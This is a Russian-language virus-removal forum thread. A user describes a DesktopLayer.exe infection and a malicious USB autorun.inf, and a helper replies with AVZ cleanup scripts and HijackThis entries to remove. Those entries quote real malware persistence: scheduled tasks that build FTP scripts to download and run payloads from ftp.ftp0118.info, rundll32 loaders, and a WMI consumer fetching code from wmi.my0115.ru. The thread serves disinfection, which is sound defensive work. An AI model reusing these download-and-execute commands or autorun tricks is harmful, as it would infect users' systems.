не могу избавиться от DesktopLayer.exe и Start

Доброго времени суток.

Прошу помощи в избавлении от вирусов. Своими силами не получилось.

Проблема вот в чем:
Обнаружил c:\Program Files\Microsoft\DesktopLayer.exe, не удаляется, в безопасном режиме восстанавливается.
Так же на флешке обнаружил авторан с с псевдо корзиной
[CODE][autorun]
action=Open
icon=%WinDir%\system32\shell32.dll,4
shellexecute=.\RECYCLER\S-0-5-53-0618173441-1222387312-025403031-1153\SIPFediD.exe
shell\explore\command=.\RECYCLER\S-0-5-53-0618173441-1222387312-025403031-1153\SIPFediD.exe
USEAUTOPLAY=1
shell\Open\command=.\RECYCLER\S-0-5-53-0618173441-1222387312-025403031-1153\SIPFediD.exe.................
[/CODE]
Замечание: не могу запустить akelpad(основной редактор тотала), sublim не может загрузить некоторые плагины, не запускается UltraISo, не могу записать на флешку загрузочные Kas_usb10 и eset_sysrescue_live_enu, каспер пишет что флешка готова а вот без ultraiso второй не записать. Других косяков системы замечено пока еще не было.
Прикрепил логи по инструкции.

Уважаемый(ая) [B]wbread[/B], спасибо за обращение на наш форум!

Помощь при заражении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в [URL="https://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].

[INFORMATION]Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом [URL="https://virusinfo.info/content.php?r=613-sub_pomogite"]Помогите+[/URL].[/INFORMATION]

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="https://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].

[url="http://virusinfo.info/showthread.php?t=7239"]Выполните скрипт в AVZ[/url]:[code]begin
SearchRootkit(true, true);
SetAVZGuardStatus(True);
QuarantineFile('c:\program files\microsoft\desktoplayer.exe', '');
QuarantineFile('c:\windows\debug\item.dat', '');
QuarantineFile('c:\windows\debug\ok.dat', '');
QuarantineFile('c:\windows\help\lsmosee.exe', '');
QuarantineFile('H:\autorun.inf', '');
QuarantineFile('H:\RECYCLER\S-0-5-53-0618173441-1222387312-025403031-1153\SIPFediD.exe', '');
DeleteFile('c:\program files\microsoft\desktoplayer.exe', '32');
DeleteFile('c:\windows\debug\item.dat', '32');
DeleteFile('c:\windows\debug\ok.dat', '32');
DeleteFile('c:\windows\help\lsmosee.exe', '32');
DeleteFile('H:\autorun.inf', '32');
DeleteFile('H:\RECYCLER\S-0-5-53-0618173441-1222387312-025403031-1153\SIPFediD.exe', '32');
ExecuteFile('schtasks.exe', '/delete /TN "Mysa1" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "Mysa2" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "Mysa3" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "ok" /F', 0, 15000, true);
BC_ImportALL;
ExecuteSysClean;
ExecuteWizard('SCU', 2, 2, true);
BC_Activate;
RebootWindows(true);
end.[/code]Компьютер перезагрузится.

Выполните в AVZ скрипт:
[CODE]begin
CreateQurantineArchive(GetAVZDirectory+'quarantine.zip');
end.[/CODE]

В папке с AVZ появится архив карантина quarantine.zip, отправьте этот файл по ссылке "Прислать запрошенный карантин" над над первым сообщением в теме.

Запустите HijackThis, расположенный в папке Autologger и [url="http://virusinfo.info/showthread.php?t=4491"]пофиксите всё, что будет из списка[/url] (в [B]Windows Vista/7/8/10[/B] необходимо запускать через правую кнопку мыши [B]Запуск от имени администратора)[/B]):[code]O7 - IPSec: Name: win (2018/01/31) - {e185cfa6-501c-4d0a-8ee1-2d887b8354d2} - Source: Any IP - Destination: my IP (Port 135 TCP) (mirrored) - Action: Block
O7 - IPSec: Name: win (2018/01/31) - {e185cfa6-501c-4d0a-8ee1-2d887b8354d2} - Source: Any IP - Destination: my IP (Port 137 TCP) (mirrored) - Action: Block
O7 - IPSec: Name: win (2018/01/31) - {e185cfa6-501c-4d0a-8ee1-2d887b8354d2} - Source: Any IP - Destination: my IP (Port 138 TCP) (mirrored) - Action: Block
O7 - IPSec: Name: win (2018/01/31) - {e185cfa6-501c-4d0a-8ee1-2d887b8354d2} - Source: Any IP - Destination: my IP (Port 139 TCP) (mirrored) - Action: Block
O7 - IPSec: Name: win (2018/01/31) - {e185cfa6-501c-4d0a-8ee1-2d887b8354d2} - Source: Any IP - Destination: my IP (Port 445 TCP) (mirrored) - Action: Block
O22 - Task: Mysa1 - C:\Windows\system32\rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa
O22 - Task: Mysa2 - C:\Windows\system32\cmd.exe /c echo open ftp.ftp0118.info>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p
O22 - Task: Mysa3 - C:\Windows\system32\cmd.exe /c echo open ftp.ftp0118.info>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe
O22 - Task: ok - C:\Windows\system32\rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa
O25 - WMI Event: [fuckyoumm2_consumer] fuckyoumm2_filter - var toff=3000;var url1 = "http://wmi.my0115.ru:8888/kill.html";http = new ActiveXObject("Msxml2.ServerXMLHTTP");fso = new ActiveXObject("Scripting.FilesystemObject");wsh = new ActiveXObject("WScript.Shell");http.open("GET", url1, false);http.send();str = http.responseText;arr = str.split("\r\n");for(1724 bytes)[/code]
Устраняйте критическую уязвимость, иначе лечить бесполезно: [url]http://www.catalog.update.microsoft.com/Search.aspx?q=KB4012212[/url]

Сделайте новый лог такой версией [URL="https://yadi.sk/d/7dgjMleO3E3E9b"]Autologger[/URL], Ok после запуска нажимайте с зажатой клавишей Shift.